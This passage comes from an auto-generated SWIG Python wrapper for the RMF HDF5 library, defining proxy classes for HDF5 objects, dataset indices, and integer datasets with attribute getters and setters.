*args, **kwargs): raise AttributeError("No constructor defined") def get_name(self): r"""get_name(Object self) -> std::string""" return _RMF_HDF5.Object_get_name(self) def get_file(self): r"""get_file(Object self) -> File""" return _RMF_HDF5.Object_get_file(self) def __str__(self): r"""__str__(Object self) -> std::string""" return _RMF_HDF5.Object___str__(self) def __repr__(self): r"""__repr__(Object self) -> std::string""" return _RMF_HDF5.Object___repr__(self) def get_handle(self): r"""get_handle(Object self) -> hid_t""" return _RMF_HDF5.Object_get_handle(self) __swig_destroy__ = _RMF_HDF5.delete_Object # Register Object in _RMF_HDF5: _RMF_HDF5.Object_swigregister(Object) class _ConstAttributesObject(Object): r"""Proxy of C++ RMF::HDF5::ConstAttributes< RMF::HDF5::Object > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def get_has_attribute(self, nm): r"""get_has_attribute(_ConstAttributesObject self, std::string nm) -> bool""" return _RMF_HDF5._ConstAttributesObject_get_has_attribute(self, nm) def get_int_attribute(self, nm): r"""get_int_attribute(_ConstAttributesObject self, std::string nm) -> Ints""" return _RMF_HDF5._ConstAttributesObject_get_int_attribute(self, nm) def get_float_attribute(self, nm): r"""get_float_attribute(_ConstAttributesObject self, std::string nm) -> Floats""" return _RMF_HDF5._ConstAttributesObject_get_float_attribute(self, nm) def get_index_attribute(self, nm): r"""get_index_attribute(_ConstAttributesObject self, std::string nm) -> Ints""" return _RMF_HDF5._ConstAttributesObject_get_index_attribute(self, nm) def get_char_attribute(self, nm): r"""get_char_attribute(_ConstAttributesObject self, std::string nm) -> std::string""" return _RMF_HDF5._ConstAttributesObject_get_char_attribute(self, nm) __swig_destroy__ = _RMF_HDF5.delete__ConstAttributesObject # Register _ConstAttributesObject in _RMF_HDF5: _RMF_HDF5._ConstAttributesObject_swigregister(_ConstAttributesObject) class DataSetIndex1D(object): r"""Proxy of C++ RMF::HDF5::DataSetIndexD< 1 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args): r""" __init__(DataSetIndex1D self, Ints o) -> DataSetIndex1D __init__(DataSetIndex1D self) -> DataSetIndex1D __init__(DataSetIndex1D self, unsigned int i) -> DataSetIndex1D __init__(DataSetIndex1D self, unsigned int i, unsigned int j) -> DataSetIndex1D __init__(DataSetIndex1D self, unsigned int i, unsigned int j, unsigned int k) -> DataSetIndex1D """ _RMF_HDF5.DataSetIndex1D_swiginit(self, _RMF_HDF5.new_DataSetIndex1D(*args)) def __getitem__(self, i): r"""__getitem__(DataSetIndex1D self, unsigned int i) -> int""" return _RMF_HDF5.DataSetIndex1D___getitem__(self, i) def get_dimension(self): r"""get_dimension(DataSetIndex1D self) -> unsigned int""" return _RMF_HDF5.DataSetIndex1D_get_dimension(self) def __str__(self): r"""__str__(DataSetIndex1D self) -> std::string""" return _RMF_HDF5.DataSetIndex1D___str__(self) def __repr__(self): r"""__repr__(DataSetIndex1D self) -> std::string""" return _RMF_HDF5.DataSetIndex1D___repr__(self) def __eq__(self, o): r"""__eq__(DataSetIndex1D self, DataSetIndex1D o) -> bool""" return _RMF_HDF5.DataSetIndex1D___eq__(self, o) def __ne__(self, o): r"""__ne__(DataSetIndex1D self, DataSetIndex1D o) -> bool""" return _RMF_HDF5.DataSetIndex1D___ne__(self, o) def __lt__(self, o): r"""__lt__(DataSetIndex1D self, DataSetIndex1D o) -> bool""" return _RMF_HDF5.DataSetIndex1D___lt__(self, o) def __gt__(self, o): r"""__gt__(DataSetIndex1D self, DataSetIndex1D o) -> bool""" return _RMF_HDF5.DataSetIndex1D___gt__(self, o) def __ge__(self, o): r"""__ge__(DataSetIndex1D self, DataSetIndex1D o) -> bool""" return _RMF_HDF5.DataSetIndex1D___ge__(self, o) def __le__(self, o): r"""__le__(DataSetIndex1D self, DataSetIndex1D o) -> bool""" return _RMF_HDF5.DataSetIndex1D___le__(self, o) def __hash__(self): r"""__hash__(DataSetIndex1D self) -> std::size_t""" return _RMF_HDF5.DataSetIndex1D___hash__(self) __swig_destroy__ = _RMF_HDF5.delete_DataSetIndex1D # Register DataSetIndex1D in _RMF_HDF5: _RMF_HDF5.DataSetIndex1D_swigregister(DataSetIndex1D) class DataSetIndex2D(object): r"""Proxy of C++ RMF::HDF5::DataSetIndexD< 2 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args): r""" __init__(DataSetIndex2D self, Ints o) -> DataSetIndex2D __init__(DataSetIndex2D self) -> DataSetIndex2D __init__(DataSetIndex2D self, unsigned int i) -> DataSetIndex2D __init__(DataSetIndex2D self, unsigned int i, unsigned int j) -> DataSetIndex2D __init__(DataSetIndex2D self, unsigned int i, unsigned int j, unsigned int k) -> DataSetIndex2D """ _RMF_HDF5.DataSetIndex2D_swiginit(self, _RMF_HDF5.new_DataSetIndex2D(*args)) def __getitem__(self, i): r"""__getitem__(DataSetIndex2D self, unsigned int i) -> int""" return _RMF_HDF5.DataSetIndex2D___getitem__(self, i) def get_dimension(self): r"""get_dimension(DataSetIndex2D self) -> unsigned int""" return _RMF_HDF5.DataSetIndex2D_get_dimension(self) def __str__(self): r"""__str__(DataSetIndex2D self) -> std::string""" return _RMF_HDF5.DataSetIndex2D___str__(self) def __repr__(self): r"""__repr__(DataSetIndex2D self) -> std::string""" return _RMF_HDF5.DataSetIndex2D___repr__(self) def __eq__(self, o): r"""__eq__(DataSetIndex2D self, DataSetIndex2D o) -> bool""" return _RMF_HDF5.DataSetIndex2D___eq__(self, o) def __ne__(self, o): r"""__ne__(DataSetIndex2D self, DataSetIndex2D o) -> bool""" return _RMF_HDF5.DataSetIndex2D___ne__(self, o) def __lt__(self, o): r"""__lt__(DataSetIndex2D self, DataSetIndex2D o) -> bool""" return _RMF_HDF5.DataSetIndex2D___lt__(self, o) def __gt__(self, o): r"""__gt__(DataSetIndex2D self, DataSetIndex2D o) -> bool""" return _RMF_HDF5.DataSetIndex2D___gt__(self, o) def __ge__(self, o): r"""__ge__(DataSetIndex2D self, DataSetIndex2D o) -> bool""" return _RMF_HDF5.DataSetIndex2D___ge__(self, o) def __le__(self, o): r"""__le__(DataSetIndex2D self, DataSetIndex2D o) -> bool""" return _RMF_HDF5.DataSetIndex2D___le__(self, o) def __hash__(self): r"""__hash__(DataSetIndex2D self) -> std::size_t""" return _RMF_HDF5.DataSetIndex2D___hash__(self) __swig_destroy__ = _RMF_HDF5.delete_DataSetIndex2D # Register DataSetIndex2D in _RMF_HDF5: _RMF_HDF5.DataSetIndex2D_swigregister(DataSetIndex2D) class DataSetIndex3D(object): r"""Proxy of C++ RMF::HDF5::DataSetIndexD< 3 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args): r""" __init__(DataSetIndex3D self, Ints o) -> DataSetIndex3D __init__(DataSetIndex3D self) -> DataSetIndex3D __init__(DataSetIndex3D self, unsigned int i) -> DataSetIndex3D __init__(DataSetIndex3D self, unsigned int i, unsigned int j) -> DataSetIndex3D __init__(DataSetIndex3D self, unsigned int i, unsigned int j, unsigned int k) -> DataSetIndex3D """ _RMF_HDF5.DataSetIndex3D_swiginit(self, _RMF_HDF5.new_DataSetIndex3D(*args)) def __getitem__(self, i): r"""__getitem__(DataSetIndex3D self, unsigned int i) -> int""" return _RMF_HDF5.DataSetIndex3D___getitem__(self, i) def get_dimension(self): r"""get_dimension(DataSetIndex3D self) -> unsigned int""" return _RMF_HDF5.DataSetIndex3D_get_dimension(self) def __str__(self): r"""__str__(DataSetIndex3D self) -> std::string""" return _RMF_HDF5.DataSetIndex3D___str__(self) def __repr__(self): r"""__repr__(DataSetIndex3D self) -> std::string""" return _RMF_HDF5.DataSetIndex3D___repr__(self) def __eq__(self, o): r"""__eq__(DataSetIndex3D self, DataSetIndex3D o) -> bool""" return _RMF_HDF5.DataSetIndex3D___eq__(self, o) def __ne__(self, o): r"""__ne__(DataSetIndex3D self, DataSetIndex3D o) -> bool""" return _RMF_HDF5.DataSetIndex3D___ne__(self, o) def __lt__(self, o): r"""__lt__(DataSetIndex3D self, DataSetIndex3D o) -> bool""" return _RMF_HDF5.DataSetIndex3D___lt__(self, o) def __gt__(self, o): r"""__gt__(DataSetIndex3D self, DataSetIndex3D o) -> bool""" return _RMF_HDF5.DataSetIndex3D___gt__(self, o) def __ge__(self, o): r"""__ge__(DataSetIndex3D self, DataSetIndex3D o) -> bool""" return _RMF_HDF5.DataSetIndex3D___ge__(self, o) def __le__(self, o): r"""__le__(DataSetIndex3D self, DataSetIndex3D o) -> bool""" return _RMF_HDF5.DataSetIndex3D___le__(self, o) def __hash__(self): r"""__hash__(DataSetIndex3D self) -> std::size_t""" return _RMF_HDF5.DataSetIndex3D___hash__(self) __swig_destroy__ = _RMF_HDF5.delete_DataSetIndex3D # Register DataSetIndex3D in _RMF_HDF5: _RMF_HDF5.DataSetIndex3D_swigregister(DataSetIndex3D) GZIP_COMPRESSION = _RMF_HDF5.GZIP_COMPRESSION SLIB_COMPRESSION = _RMF_HDF5.SLIB_COMPRESSION NO_COMPRESSION = _RMF_HDF5.NO_COMPRESSION class IntConstDataSet1D(_ConstAttributesObject): r"""Proxy of C++ RMF::HDF5::ConstDataSetD< RMF::HDF5::IntTraits,1 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(IntConstDataSet1D self) -> IntConstDataSet1D""" _RMF_HDF5.IntConstDataSet1D_swiginit(self, _RMF_HDF5.new_IntConstDataSet1D()) def get_size(self): r"""get_size(IntConstDataSet1D self) -> DataSetIndex1D""" return _RMF_HDF5.IntConstDataSet1D_get_size(self) def get_value(self, ijk): r"""get_value(IntConstDataSet1D self, DataSetIndex1D ijk) -> RMF::HDF5::IntTraits::Type""" return _RMF_HDF5.IntConstDataSet1D_get_value(self, ijk) def __str__(self): r"""__str__(IntConstDataSet1D self) -> std::string""" return _RMF_HDF5.IntConstDataSet1D___str__(self) def __repr__(self): r"""__repr__(IntConstDataSet1D self) -> std::string""" return _RMF_HDF5.IntConstDataSet1D___repr__(self) def get_block(self, lb, size): r"""get_block(IntConstDataSet1D self, DataSetIndex1D lb, DataSetIndex1D size) -> Ints""" return _RMF_HDF5.IntConstDataSet1D_get_block(self, lb, size) def __eq__(self, o): r"""__eq__(IntConstDataSet1D self, IntConstDataSet1D o) -> bool""" return _RMF_HDF5.IntConstDataSet1D___eq__(self, o) def __ne__(self, o): r"""__ne__(IntConstDataSet1D self, IntConstDataSet1D o) -> bool""" return _RMF_HDF5.IntConstDataSet1D___ne__(self, o) def __lt__(self, o): r"""__lt__(IntConstDataSet1D self, IntConstDataSet1D o) -> bool""" return _RMF_HDF5.IntConstDataSet1D___lt__(self, o) def __gt__(self, o): r"""__gt__(IntConstDataSet1D self, IntConstDataSet1D o) -> bool""" return _RMF_HDF5.IntConstDataSet1D___gt__(self, o) def __ge__(self, o): r"""__ge__(IntConstDataSet1D self, IntConstDataSet1D o) -> bool""" return _RMF_HDF5.IntConstDataSet1D___ge__(self, o) def __le__(self, o): r"""__le__(IntConstDataSet1D self, IntConstDataSet1D o) -> bool""" return _RMF_HDF5.IntConstDataSet1D___le__(self, o) __swig_destroy__ = _RMF_HDF5.delete_IntConstDataSet1D # Register IntConstDataSet1D in _RMF_HDF5: _RMF_HDF5.IntConstDataSet1D_swigregister(IntConstDataSet1D) class IntConstDataSet2D(_ConstAttributesObject): r"""Proxy of C++ RMF::HDF5::ConstDataSetD< RMF::HDF5::IntTraits,2 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(IntConstDataSet2D self) -> IntConstDataSet2D""" _RMF_HDF5.IntConstDataSet2D_swiginit(self, _RMF_HDF5.new_IntConstDataSet2D()) def get_size(self): r"""get_size(IntConstDataSet2D self) -> DataSetIndex2D""" return _RMF_HDF5.IntConstDataSet2D_get_size(self) def get_value(self, ijk): r"""get_value(IntConstDataSet2D self, DataSetIndex2D ijk) -> RMF::HDF5::IntTraits::Type""" return _RMF_HDF5.IntConstDataSet2D_get_value(self, ijk) def __str__(self): r"""__str__(IntConstDataSet2D self) -> std::string""" return _RMF_HDF5.IntConstDataSet2D___str__(self) def __repr__(self): r"""__repr__(IntConstDataSet2D self) -> std::string""" return _RMF_HDF5.IntConstDataSet2D___repr__(self) def get_block(self, lb, size): r"""get_block(IntConstDataSet2D self, DataSetIndex2D lb, DataSetIndex2D size) -> Ints""" return _RMF_HDF5.IntConstDataSet2D_get_block(self, lb, size) def __eq__(self, o): r"""__eq__(IntConstDataSet2D self, IntConstDataSet2D o) -> bool""" return _RMF_HDF5.IntConstDataSet2D___eq__(self, o) def __ne__(self, o): r"""__ne__(IntConstDataSet2D self, IntConstDataSet2D o) -> bool""" return _RMF_HDF5.IntConstDataSet2D___ne__(self, o) def __lt__(self, o): r"""__lt__(IntConstDataSet2D self, IntConstDataSet2D o) -> bool""" return _RMF_HDF5.IntConstDataSet2D___lt__(self, o) def __gt__(self, o): r"""__gt__(IntConstDataSet2D self, IntConstDataSet2D o) -> bool""" return _RMF_HDF5.IntConstDataSet2D___gt__(self, o) def __ge__(self, o): r"""__ge__(IntConstDataSet2D self, IntConstDataSet2D o) -> bool""" return _RMF_HDF5.IntConstDataSet2D___ge__(self, o) def __le__(self, o): r"""__le__(IntConstDataSet2D self, IntConstDataSet2D o) -> bool""" return _RMF_HDF5.IntConstDataSet2D___le__(self, o) __swig_destroy__ = _RMF_HDF5.delete_IntConstDataSet2D # Register IntConstDataSet2D in _RMF_HDF5: _RMF_HDF5.IntConstDataSet2D_swigregister(IntConstDataSet2D) class IntConstDataSet3D(_ConstAttributesObject): r"""Proxy of C++ RMF::HDF5::ConstDataSetD< RMF::HDF5::IntTraits,3 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(IntConstDataSet3D self) -> IntConstDataSet3D""" _RMF_HDF5.IntConstDataSet3D_swiginit(self, _RMF_HDF5.new_IntConstDataSet3D()) def get_size(self): r"""get_size(IntConstDataSet3D self) -> DataSetIndex3D""" return _RMF_HDF5.IntConstDataSet3D_get_size(self) def get_value(self, ijk): r"""get_value(IntConstDataSet3D self, DataSetIndex3D ijk) -> RMF::HDF5::IntTraits::Type""" return _RMF_HDF5.IntConstDataSet3D_get_value(self, ijk) def __str__(self): r"""__str__(IntConstDataSet3D self) -> std::string""" return _RMF_HDF5.IntConstDataSet3D___str__(self) def __repr__(self): r"""__repr__(IntConstDataSet3D self) -> std::string""" return _RMF_HDF5.IntConstDataSet3D___repr__(self) def get_block(self, lb, size): r"""get_block(IntConstDataSet3D self, DataSetIndex3D lb, DataSetIndex3D size) -> Ints""" return _RMF_HDF5.IntConstDataSet3D_get_block(self, lb, size) def __eq__(self, o): r"""__eq__(IntConstDataSet3D self, IntConstDataSet3D o) -> bool""" return _RMF_HDF5.IntConstDataSet3D___eq__(self, o) def __ne__(self, o): r"""__ne__(IntConstDataSet3D self, IntConstDataSet3D o) -> bool""" return _RMF_HDF5.IntConstDataSet3D___ne__(self, o) def __lt__(self, o): r"""__lt__(IntConstDataSet3D self, IntConstDataSet3D o) -> bool""" return _RMF_HDF5.IntConstDataSet3D___lt__(self, o) def __gt__(self, o): r"""__gt__(IntConstDataSet3D self, IntConstDataSet3D o) -> bool""" return _RMF_HDF5.IntConstDataSet3D___gt__(self, o) def __ge__(self, o): r"""__ge__(IntConstDataSet3D self, IntConstDataSet3D o) -> bool""" return _RMF_HDF5.IntConstDataSet3D___ge__(self, o) def __le__(self, o): r"""__le__(IntConstDataSet3D self, IntConstDataSet3D o) -> bool""" return _RMF_HDF5.IntConstDataSet3D___le__(self, o) __swig_destroy__ = _RMF_HDF5.delete_IntConstDataSet3D # Register IntConstDataSet3D in _RMF_HDF5: _RMF_HDF5.IntConstDataSet3D_swigregister(IntConstDataSet3D) class IntDataSetAttributes1D(IntConstDataSet1D): r"""Proxy of C++ RMF::HDF5::MutableAttributes< RMF::HDF5::ConstDataSetD< RMF::HDF5::IntTraits,1 > > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_int_attribute(self, nm, value): r"""set_int_attribute(IntDataSetAttributes1D self, std::string nm, Ints value)""" return _RMF_HDF5.IntDataSetAttributes1D_set_int_attribute(self, nm, value) def set_float_attribute(self, nm, value): r"""set_float_attribute(IntDataSetAttributes1D self, std::string nm, Floats value)""" return _RMF_HDF5.IntDataSetAttributes1D_set_float_attribute(self, nm, value) def set_index_attribute(self, nm, value): r"""set_index_attribute(IntDataSetAttributes1D self, std::string nm, Ints value)""" return _RMF_HDF5.IntDataSetAttributes1D_set_index_attribute(self, nm, value) def set_char_attribute(self, nm, value): r"""set_char_attribute(IntDataSetAttributes1D self, std::string nm, std::string value)""" return _RMF_HDF5.IntDataSetAttributes1D_set_char_attribute(self, nm, value) __swig_destroy__ = _RMF_HDF5.delete_IntDataSetAttributes1D # Register IntDataSetAttributes1D in _RMF_HDF5: _RMF_HDF5.IntDataSetAttributes1D_swigregister(IntDataSetAttributes1D) class IntDataSetAttributes2D(IntConstDataSet2D): r"""Proxy of C++ RMF::HDF5::MutableAttributes< RMF::HDF5::ConstDataSetD< RMF::HDF5::IntTraits,2 > > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_int_attribute(self, nm, value): r"""set_int_attribute(IntDataSetAttributes2D self, std::string nm, Ints value)""" return _RMF_HDF5.IntDataSetAttributes2D_set_int_attribute(self, nm, value) def set_float_attribute(self, nm, value): r"""set_float_attribute(IntDataSetAttributes2D self, std::string nm, Floats value)""" return _RMF_HDF5.IntDataSetAttributes2D_set_float_attribute(self, nm, value) def set_index_attribute(self, nm, value): r"""set_index_attribute(IntDataSetAttributes2D self, std::string nm, Ints value)""" return _RMF_HDF5.IntDataSetAttributes2D_set_index_attribute(self, nm, value) def set_char_attribute(self, nm, value): r"""set_char_attribute(IntDataSetAttributes2D self, std::string nm, std::string value)""" return _RMF_HDF5.IntDataSetAttributes2D_set_char_attribute(self, nm, value) __swig_destroy__ = _RMF_HDF5.delete_IntDataSetAttributes2D # Register IntDataSetAttributes2D in _RMF_HDF5: _RMF_HDF5.IntDataSetAttributes2D_swigregister(IntDataSetAttributes2D) class IntDataSetAttributes3D(IntConstDataSet3D): r"""Proxy of C++ RMF::HDF5::MutableAttributes< RMF::HDF5::ConstDataSetD< RMF::HDF5::IntTraits,3 > > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_int_attribute(self, nm, value): r"""set_int_attribute(IntDataSetAttributes3D self, std::string nm, Ints value)""" return _RMF_HDF5.IntDataSetAttributes3D_set_int_attribute(self, nm, value) def set_float_attribute(self, nm, value): r"""set_float_attribute(IntDataSetAttributes3D self, std::string nm, Floats value)""" return _RMF_HDF5.IntDataSetAttributes3D_set_float_attribute(self, nm, value) def set_index_attribute(self, nm, value): r"""set_index_attribute(IntDataSetAttributes3D self, std::string nm, Ints value)""" return _RMF_HDF5.IntDataSetAttributes3D_set_index_attribute(self, nm, value) def set_char_attribute(self, nm, value): r"""set_char_attribute(IntDataSetAttributes3D self, std::string nm, std::string value)""" return _RMF_HDF5.IntDataSetAttributes3D_set_char_attribute(self, nm, value) __swig_destroy__ = _RMF_HDF5.delete_IntDataSetAttributes3D # Register IntDataSetAttributes3D in _RMF_HDF5: _RMF_HDF5.IntDataSetAttributes3D_swigregister(IntDataSetAttributes3D) class IntsConstDataSet1D(_ConstAttributesObject): r"""Proxy of C++ RMF::HDF5::ConstDataSetD< RMF::HDF5::IntsTraits,1 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(IntsConstDataSet1D self) -> IntsConstDataSet1D""" _RMF_HDF5.IntsConstDataSet1D_swiginit(self, _RMF_HDF5.new_IntsConstDataSet1D()) def get_size(self): r"""get_size(IntsConstDataSet1D self) -> DataSetIndex1D""" return _RMF_HDF5.IntsConstDataSet1D_get_size(self) def get_value(self, ijk): r"""get_value(IntsConstDataSet1D self, DataSetIndex1D ijk) -> Ints""" return _RMF_HDF5.IntsConstDataSet1D_get_value(self, ijk) def __str__(self): r"""__str__(IntsConstDataSet1D self) -> std::string""" return _RMF_HDF5.IntsConstDataSet1D___str__(self) def __repr__(self): r"""__repr__(IntsConstDataSet1D self) -> std::string""" return _RMF_HDF5.IntsConstDataSet1D___repr__(self) def get_block(self, lb, size): r"""get_block(IntsConstDataSet1D self, DataSetIndex1D lb, DataSetIndex1D size) -> IntsList""" return _RMF_HDF5.IntsConstDataSet1D_get_block(self, lb, size) def __eq__(self, o): r"""__eq__(IntsConstDataSet1D self, IntsConstDataSet1D o) -> bool""" return _RMF_HDF5.IntsConstDataSet1D___eq__(self, o) def __ne__(self, o): r"""__ne__(IntsConstDataSet1D self, IntsConstDataSet1D o) -> bool""" return _RMF_HDF5.IntsConstDataSet1D___ne__(self, o) def __lt__(self, o): r"""__lt__(IntsConstDataSet1D self, IntsConstDataSet1D o) -> bool""" return _RMF_HDF5.IntsConstDataSet1D___lt__(self, o) def __gt__(self, o): r"""__gt__(IntsConstDataSet1D self, IntsConstDataSet1D o) -> bool""" return _RMF_HDF5.IntsConstDataSet1D___gt__(self, o) def __ge__(self, o): r"""__ge__(IntsConstDataSet1D self, IntsConstDataSet1D o) -> bool""" return _RMF_HDF5.IntsConstDataSet1D___ge__(self, o) def __le__(self, o): r"""__le__(IntsConstDataSet1D self, IntsConstDataSet1D o) -> bool""" return _RMF_HDF5.IntsConstDataSet1D___le__(self, o) __swig_destroy__ = _RMF_HDF5.delete_IntsConstDataSet1D # Register IntsConstDataSet1D in _RMF_HDF5: _RMF_HDF5.IntsConstDataSet1D_swigregister(IntsConstDataSet1D) class IntsConstDataSet2D(_ConstAttributesObject): r"""Proxy of C++ RMF::HDF5::ConstDataSetD< RMF::HDF5::IntsTraits,2 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(IntsConstDataSet2D self) -> IntsConstDataSet2D""" _RMF_HDF5.IntsConstDataSet2D_swiginit(self, _RMF_HDF5.new_IntsConstDataSet2D()) def get_size(self): r"""get_size(IntsConstDataSet2D self) -> DataSetIndex2D""" return _RMF_HDF5.IntsConstDataSet2D_get_size(self) def get_value(self, ijk): r"""get_value(IntsConstDataSet2D self, DataSetIndex2D ijk) -> Ints""" return _RMF_HDF5.IntsConstDataSet2D_get_value(self, ijk) def __str__(self): r"""__str__(IntsConstDataSet2D self) -> std::string""" return _RMF_HDF5.IntsConstDataSet2D___str__(self) def __repr__(self): r"""__repr__(IntsConstDataSet2D self) -> std::string""" return _RMF_HDF5.IntsConstDataSet2D___repr__(self) def get_block(self, lb, size): r"""get_block(IntsConstDataSet2D self, DataSetIndex2D lb, DataSetIndex2D size) -> IntsList""" return _RMF_HDF5.IntsConstDataSet2D_get_block(self, lb, size) def __eq__(self, o): r"""__eq__(IntsConstDataSet2D self, IntsConstDataSet2D o) -> bool""" return _RMF_HDF5.IntsConstDataSet2D___eq__(self, o) def __ne__(self, o): r"""__ne__(IntsConstDataSet2D self, IntsConstDataSet2D o) -> bool""" return _RMF_HDF5.IntsConstDataSet2D___ne__(self, o) def __lt__(self, o): r"""__lt__(IntsConstDataSet2D self, IntsConstDataSet2D o) -> bool""" return _RMF_HDF5.IntsConstDataSet2D___lt__(self, o) def __gt__(self, o): r"""__gt__(IntsConstDataSet2D self, IntsConstDataSet2D o) -> bool""" return _RMF_HDF5.IntsConstDataSet2D___gt__(self, o) def __ge__(self, o): r"""__ge__(IntsConstDataSet2D self, IntsConstDataSet2D o) -> bool""" return _RMF_HDF5.IntsConstDataSet2D___ge__(self, o) def __le__(self, o): r"""__le__(IntsConstDataSet2D self, IntsConstDataSet2D o) -> bool""" return _RMF_HDF5.IntsConstDataSet2D___le__(self, o) __swig_destroy__ = _RMF_HDF5.delete_IntsConstDataSet2D # Register IntsConstDataSet2D in _RMF_HDF5: _RMF_HDF5.IntsConstDataSet2D_swigregister(IntsConstDataSet2D) class IntsConstDataSet3D(_ConstAttributesObject): r"""Proxy of C++ RMF::HDF5::ConstDataSetD< RMF::HDF5::IntsTraits,3 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(IntsConstDataSet3D self) -> IntsConstDataSet3D""" _RMF_HDF5.IntsConstDataSet3D_swiginit(self, _RMF_HDF5.new_IntsConstDataSet3D()) def get_size(self): r"""get_size(IntsConstDataSet3D self) -> DataSetIndex3D""" return _RMF_HDF5.IntsConstDataSet3D_get_size(self) def get_value(self, ijk): r"""get_value(IntsConstDataSet3D self, DataSetIndex3D ijk) -> Ints""" return _RMF_HDF5.IntsConstDataSet3D_get_value(self, ijk) def __str__(self): r"""__str__(IntsConstDataSet3D self) -> std::string""" return _RMF_HDF5.IntsConstDataSet3D___str__(self) def __repr__(self): r"""__repr__(IntsConstDataSet3D self) -> std::string""" return _RMF_HDF5.IntsConstDataSet3D___repr__(self) def get_block(self, lb, size): r"""get_block(IntsConstDataSet3D self, DataSetIndex3D lb, DataSetIndex3D size) -> IntsList""" return _RMF_HDF5.IntsConstDataSet3D_get_block(self, lb, size) def __eq__(self, o): r"""__eq__(IntsConstDataSet3D self, IntsConstDataSet3D o) -> bool""" return _RMF_HDF5.IntsConstDataSet3D___eq__(self, o) def __ne__(self, o): r"""__ne__(IntsConstDataSet3D self, IntsConstDataSet3D o) -> bool""" return _RMF_HDF5.IntsConstDataSet3D___ne__(self, o) def __lt__(self, o): r"""__lt__(IntsConstDataSet3D self, IntsConstDataSet3D o) -> bool""" return _RMF_HDF5.IntsConstDataSet3D___lt__(self, o) def __gt__(self, o): r"""__gt__(IntsConstDataSet3D self, IntsConstDataSet3D o) -> bool""" return _RMF_HDF5.IntsConstDataSet3D___gt__(self, o) def __ge__(self, o): r"""__ge__(IntsConstDataSet3D self, IntsConstDataSet3D o) -> bool""" return _RMF_HDF5.IntsConstDataSet3D___ge__(self, o) def __le__(self, o): r"""__le__(IntsConstDataSet3D self, IntsConstDataSet3D o) -> bool""" return _RMF_HDF5.IntsConstDataSet3D___le__(self, o) __swig_destroy__ = _RMF_HDF5.delete_IntsConstDataSet3D # Register IntsConstDataSet3D in _RMF_HDF5: _RMF_HDF5.IntsConstDataSet3D_swigregister(IntsConstDataSet3D) class IntsDataSetAttributes1D(IntsConstDataSet1D): r"""Proxy of C++ RMF::HDF5::MutableAttributes< RMF::HDF5::ConstDataSetD< RMF::HDF5::IntsTraits,1 > > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_int_attribute(self, nm, value): r"""set_int_attribute(IntsDataSetAttributes1D self, std::string nm, Ints value)""" return _RMF_HDF5.IntsDataSetAttributes1D_set_int_attribute(self, nm, value) def set_float_attribute(self, nm, value): r"""set_float_attribute(IntsDataSetAttributes1D self, std::string nm, Floats value)""" return _RMF_HDF5.IntsDataSetAttributes1D_set_float_attribute(self, nm, value) def set_index_attribute(self, nm, value): r"""set_index_attribute(IntsDataSetAttributes1D self, std::string nm, Ints value)""" return _RMF_HDF5.IntsDataSetAttributes1D_set_index_attribute(self, nm, value) def set_char_attribute(self, nm, value): r"""set_char_attribute(IntsDataSetAttributes1D self, std::string nm, std::string value)""" return _RMF_HDF5.IntsDataSetAttributes1D_set_char_attribute(self, nm, value) __swig_destroy__ = _RMF_HDF5.delete_IntsDataSetAttributes1D # Register IntsDataSetAttributes1D in _RMF_HDF5: _RMF_HDF5.IntsDataSetAttributes1D_swigregister(IntsDataSetAttributes1D) class IntsDataSetAttributes2D(IntsConstDataSet2D): r"""Proxy of C++ RMF::HDF5::MutableAttributes< RMF::HDF5::ConstDataSetD< RMF::HDF5::IntsTraits,2 > > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_int_attribute(self, nm, value): r"""set_int_attribute(IntsDataSetAttributes2D self, std::string nm, Ints value)""" return _RMF_HDF5.IntsDataSetAttributes2D_set_int_attribute(self, nm, value) def set_float_attribute(self, nm, value): r"""set_float_attribute(IntsDataSetAttributes2D self, std::string nm, Floats value)""" return _RMF_HDF5.IntsDataSetAttributes2D_set_float_attribute(self, nm, value) def set_index_attribute(self, nm, value): r"""set_index_attribute(IntsDataSetAttributes2D self, std::string nm, Ints value)""" return _RMF_HDF5.IntsDataSetAttributes2D_set_index_attribute(self, nm, value) def set_char_attribute(self, nm, value): r"""set_char_attribute(IntsDataSetAttributes2D self, std::string nm, std::string value)""" return _RMF_HDF5.IntsDataSetAttributes2D_set_char_attribute(self, nm, value) __swig_destroy__ = _RMF_HDF5.delete_IntsDataSetAttributes2D # Register IntsDataSetAttributes2D in _RMF_HDF5: _RMF_HDF5.IntsDataSetAttributes2D_swigregister(IntsDataSetAttributes2D) class IntsDataSetAttributes3D(IntsConstDataSet3D): r"""Proxy of C++ RMF::HDF5::MutableAttributes< RMF::HDF5::ConstDataSetD< 